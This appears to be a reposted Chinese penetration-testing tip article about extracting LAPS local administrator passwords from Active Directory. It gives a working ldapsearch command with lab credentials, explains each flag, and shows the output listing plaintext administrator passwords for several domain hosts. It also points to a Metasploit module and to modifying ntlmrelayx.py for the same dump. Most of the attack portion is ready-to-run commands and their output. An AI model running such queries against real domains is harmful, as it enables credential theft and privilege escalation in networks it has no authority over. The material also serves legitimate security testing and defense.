758
技術社區[雲棲]
域滲透TIPS:獲取LAPS管理員密碼

如果你之前有對啟用LAPS機製的主機進行滲透測試,那麼你應該能體會到該機製的隨機化本地管理員密碼是有多麼令人痛苦。
LAPS將其信息存儲在活動目錄:
- 存儲密碼過期時間:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
- 以明文顯示的存儲密碼:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(
LAPS早期版本中,任何用戶都能夠讀取活動目錄中的內容。還好微軟已經修複,目前你必須獲得該對象的所有擴展權限或者是完全控製權限才能夠進行訪問。
在複雜的真實環境中,內網主機中還可能存在隱藏的OU權限管理員,甚至是擁有完全控製權限的,負責特定用戶組的一個標準用戶。
得益於Meatballs開發的Metasploit模塊:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 幫助我們完成了這項工作。但是我們不可能每次都特地打開一個Meterpreter會話來運行該模塊吧?
使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用來構造與該模塊相同的請求,以下便是一個例子:
- ldapsearch -x -h 192.168.80.10 -D \
- "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \
- "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
解析:
- -x – 使用基礎身份驗證
- -h 192.168.80.10 – 將ldap連接到域控製器
- -D “helpdesk” -w ASDqwe123 – 以用戶名helpdesk,密碼ASDqwe123進行登錄
- -b “dc=sittingduck,dc=info” – 加載整個域的基礎LDAP對象
- “(ms-MCS-AdmPwd=*)” – 過濾掉所有不能查看的ms-MCS-AdmPwd值 (隻要擁有足夠的權限,甚至還可以獲取Administrator密碼)
- ms-MCS-AdmPwd – 僅顯示ms-MCS-AdmPwd對象 (默認包含對象名以及DN,所以你還是能知道主機從屬關係)
運行情況如下:
- $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
- # extended LDIF
- #
- # LDAPv3
- # base <dcdc=sittingduck,dc=info> with scope subtree
- # filter: (ms-MCS-AdmPwd=*)
- # requesting: ms-MCS-AdmPwd
- #
- # DC1, Domain Controllers, sittingduck.info
- dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F
- # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info
- dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR
- # SD_WSUS_2012, LabComputers, Lab, sittingduck.info
- dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T
- # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info
- dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
- ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(
- # search reference
- ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info
- # search reference
- ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D
- C=info
- # search reference
- ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D
- C=info
- # search reference
- ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info
- # search result
- search: 2
- result: 0 Success
至從獲得本地管理員密碼,但還沒有確定該帳號是否啟用,你可以使用Kerberos進行身份驗證。由於Windows中域控製器對LDAP連接不會要求證書驗證(據我所知),你隻需在ntlmrelayx.py進行一些小修改就能轉儲LAPS密碼了。
本文作者:鳶尾
來源:51CTO
最後更新:2017-11-03 16:04:29